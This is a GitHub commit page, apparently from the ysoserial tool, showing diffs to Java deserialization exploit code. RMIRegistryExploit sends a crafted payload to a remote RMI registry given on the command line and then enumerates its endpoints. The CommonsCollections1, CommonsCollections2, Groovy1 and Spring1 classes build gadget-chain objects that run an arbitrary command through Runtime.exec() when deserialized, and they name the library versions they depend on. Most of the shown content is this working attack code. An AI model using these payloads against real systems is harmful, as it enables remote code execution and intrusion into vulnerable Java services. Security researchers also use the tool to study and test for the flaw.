Skip to content

Commit

Permalink
fixed spring, commons-collections4 payloads, made test cases more robust
Browse files Browse the repository at this point in the history
  • Loading branch information
frohoff committed Jan 30, 2015
1 parent 1c82fda commit 79219f7
Show file tree
Hide file tree
Showing 18 changed files with 325 additions and 207 deletions.
7 changes: 6 additions & 1 deletion pom.xml
Original file line number Diff line number Diff line change
Expand Up @@ -88,7 +88,12 @@
<version>2.1.1</version>
<type>pom</type>
</dependency>

<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.19.0-GA</version>
</dependency>

<!-- gadget dependecies -->

<dependency>
Expand Down
44 changes: 44 additions & 0 deletions src/main/java/ysoserial/ExecBlockingSecurityManager.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,44 @@
package ysoserial;

import java.security.Permission;
import java.util.concurrent.Callable;

public class ExecBlockingSecurityManager extends SecurityManager {
@Override
public void checkPermission(final Permission perm) { }

@Override
public void checkPermission(final Permission perm, final Object context) { }

public void checkExec(final String cmd) {
super.checkExec(cmd);
// throw a special exception to ensure we can detect exec() in the test
throw new ExecException(cmd);
};

@SuppressWarnings("serial")
public static class ExecException extends RuntimeException {
private final String cmd;
public ExecException(String cmd) { this.cmd = cmd; }
public String getCmd() { return cmd; }
}

public static void wrap(final Runnable runnable) throws Exception {
wrap(new Callable<Void>(){
public Void call() throws Exception {
runnable.run();
return null;
}
});
}

public static <T> T wrap(final Callable<T> callable) throws Exception {
SecurityManager sm = System.getSecurityManager();
System.setSecurityManager(new ExecBlockingSecurityManager());
try {
return callable.call();
} finally {
System.setSecurityManager(sm);
}
}
}
2 changes: 1 addition & 1 deletion src/main/java/ysoserial/GeneratePayload.java
Original file line number Diff line number Diff line change
Expand Up @@ -38,7 +38,7 @@ public static void main(final String[] args) {
final Object object = payload.getObject(command);
final ObjectOutputStream objOut = new ObjectOutputStream(System.out);
objOut.writeObject(object);
} catch (Exception e) {
} catch (Throwable e) {
System.err.println("Error while generating or serializing payload");
e.printStackTrace();
System.exit(INTERNAL_ERROR_CODE);
Expand Down
46 changes: 38 additions & 8 deletions src/main/java/ysoserial/RMIRegistryExploit.java
Original file line number Diff line number Diff line change
Expand Up @@ -3,21 +3,51 @@
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Arrays;
import java.util.concurrent.Callable;

import ysoserial.payloads.CommonsCollections1;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.util.Gadgets;

/*
* Utility program for exploiting RMI registries running with required gadgets available in their ClassLoader
* Utility program for exploiting RMI registries running with required gadgets available in their ClassLoader.
* Attempts to exploit the registry itself, then enumerates registered endpoints and their interfaces.
*
* TODO: automatic exploitation of endpoints, potentially with automated download and use of jars containing remote
* interfaces. See http://www.findmaven.net/api/find/class/org.springframework.remoting.rmi.RmiInvocationHandler .
*/
public class RMIRegistryExploit {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1]));
String className = CommonsCollections1.class.getPackage().getName() + "." + args[2];
Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);
Object payload = payloadClass.newInstance().getObject(args[3]);
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", payload), Remote.class);
registry.bind("pwned", remote);
public static void main(final String[] args) throws Exception {
// ensure payload doesn't detonate during construction or deserialization
ExecBlockingSecurityManager.wrap(new Callable<Void>(){public Void call() throws Exception {
Registry registry = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1]));
String className = CommonsCollections1.class.getPackage().getName() + "." + args[2];
Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);
Object payload = payloadClass.newInstance().getObject(args[3]);
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", payload), Remote.class);
try {
registry.bind("pwned", remote);
} catch (Throwable e) {
e.printStackTrace();
}

try {
String[] names = registry.list();
for (String name : names) {
System.out.println("looking up '" + name + "'");
try {
Remote rem = registry.lookup(name);
System.out.println(Arrays.asList(rem.getClass().getInterfaces()));
} catch (Throwable e) {
e.printStackTrace();
}
}
} catch (Throwable e) {
e.printStackTrace();
}

return null;
}});
}
}
4 changes: 3 additions & 1 deletion src/main/java/ysoserial/payloads/CommonsCollections1.java
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,7 @@
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
Expand Down Expand Up @@ -37,6 +38,7 @@
commons-collections
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-collections:commons-collections:3.1"})
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {

public InvocationHandler getObject(final String command) throws Exception {
Expand Down Expand Up @@ -70,7 +72,7 @@ public InvocationHandler getObject(final String command) throws Exception {
return handler;
}

public static void main(final String[] args) {
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections1.class, args);
}
}
19 changes: 5 additions & 14 deletions src/main/java/ysoserial/payloads/CommonsCollections2.java
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,7 @@
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import ysoserial.payloads.util.ClassFiles;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
Expand All @@ -22,23 +22,14 @@
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections4
*/

@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
@Dependencies({"org.apache.commons:commons-collections4:4.0"})
public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {

public Queue<Object> getObject(final String command) throws Exception {
final TemplatesImpl templates = new TemplatesImpl();

Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
ClassFiles.classAsBytes(Gadgets.TransletPayload.class),
ClassFiles.classAsBytes(Gadgets.Foo.class)}); // required to make TemplatesImpl happy

Reflections.setFieldValue(templates, "_name", "Pwnr"); // required to make TemplatesImpl happy

final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

Expand All @@ -54,12 +45,12 @@ public Queue<Object> getObject(final String command) throws Exception {
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = new Gadgets.TransletPayload().withCommand(command);
queueArray[1] = 1;

return queue;
}

public static void main(final String[] args) {
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections2.class, args);
}

Expand Down
4 changes: 3 additions & 1 deletion src/main/java/ysoserial/payloads/Groovy1.java
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,7 @@
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;

import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;

Expand All @@ -25,6 +26,7 @@
*/

@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({"org.codehaus.groovy:groovy:2.3.9"})
public class Groovy1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {

public InvocationHandler getObject(final String command) throws Exception {
Expand All @@ -37,7 +39,7 @@ public InvocationHandler getObject(final String command) throws Exception {
return handler;
}

public static void main(final String[] args) {
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Groovy1.class, args);
}
}
44 changes: 15 additions & 29 deletions src/main/java/ysoserial/payloads/Spring1.java
Original file line number Diff line number Diff line change
Expand Up @@ -5,23 +5,20 @@
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Type;
import java.util.Arrays;
import java.util.List;

import javax.xml.transform.Templates;

import org.springframework.beans.factory.ObjectFactory;

import ysoserial.payloads.util.ClassFiles;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

/*
Gadget chains:
Gadget chain:
ObjectInputStream.readObject()
SerializableTypeWrapper.MethodInvokeTypeProvider.readObject()
Expand All @@ -43,28 +40,18 @@
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl.TransletClassLoader.defineClass()
Gadgets.TransletPayload.readObject()
Runtime.exec()
Requires:
spring-framework-core
TemplatesImpl.TransletClassLoader.defineClass()
Pwner*(Javassist-generated).<static init>
Runtime.exec()
*/

@SuppressWarnings({"restriction", "rawtypes"})
public class Spring1 extends PayloadRunner implements ObjectPayload<List<Object>> {
@Dependencies({"org.springframework:spring-core:4.1.4.RELEASE","org.springframework:spring-beans:4.1.4.RELEASE"})
public class Spring1 extends PayloadRunner implements ObjectPayload<Object> {

public List<Object> getObject(final String command) throws Exception {
final TemplatesImpl templates = new TemplatesImpl();

// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
ClassFiles.classAsBytes(Gadgets.TransletPayload.class),
ClassFiles.classAsBytes(Gadgets.Foo.class)});

// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
public Object getObject(final String command) throws Exception {
final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);

final ObjectFactory objectFactoryProxy =
Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);
Expand All @@ -78,14 +65,13 @@ public List<Object> getObject(final String command) throws Exception {
forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));

final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
final Object mitp = mitpCtor.newInstance(typeProviderProxy, Templates.class.getMethod("newTransformer", new Class[] {}), 0);
final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0);
Reflections.setFieldValue(mitp, "methodName", "newTransformer");

Reflections.setFieldValue(templates, "_auxClasses", null); // required to make TemplatesImpl serialization happy

return Arrays.asList(mitp, new Gadgets.TransletPayload().withCommand(command));
return mitp;
}
public static void main(final String[] args) {

public static void main(final String[] args) throws Exception {
PayloadRunner.run(Spring1.class, args);
}

Expand Down
12 changes: 12 additions & 0 deletions src/main/java/ysoserial/payloads/annotation/Dependencies.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
package ysoserial.payloads.annotation;

import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;

@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
public @interface Dependencies {
String[] value() default {};
}
28 changes: 16 additions & 12 deletions src/main/java/ysoserial/payloads/util/ClassFiles.java
Original file line number Diff line number Diff line change
Expand Up @@ -22,19 +22,23 @@ public static String classAsFile(final Class<?> clazz, boolean suffix) {
return str;
}

public static byte[] classAsBytes(final Class<?> clazz) throws IOException {
final byte[] buffer = new byte[1024];
final String file = classAsFile(clazz);
final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);
if (in == null) {
throw new IOException("couldn't find '" + file + "'");
public static byte[] classAsBytes(final Class<?> clazz) {
try {
final byte[] buffer = new byte[1024];
final String file = classAsFile(clazz);
final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);
if (in == null) {
throw new IOException("couldn't find '" + file + "'");
}
final ByteArrayOutputStream out = new ByteArrayOutputStream();
int len;
while ((len = in.read(buffer)) != -1) {
out.write(buffer, 0, len);
}
return out.toByteArray();
} catch (IOException e) {
throw new RuntimeException(e);
}
final ByteArrayOutputStream out = new ByteArrayOutputStream();
int len;
while ((len = in.read(buffer)) != -1) {
out.write(buffer, 0, len);
}
return out.toByteArray();
}

}
Loading

0 comments on commit 79219f7

Please sign in to comment.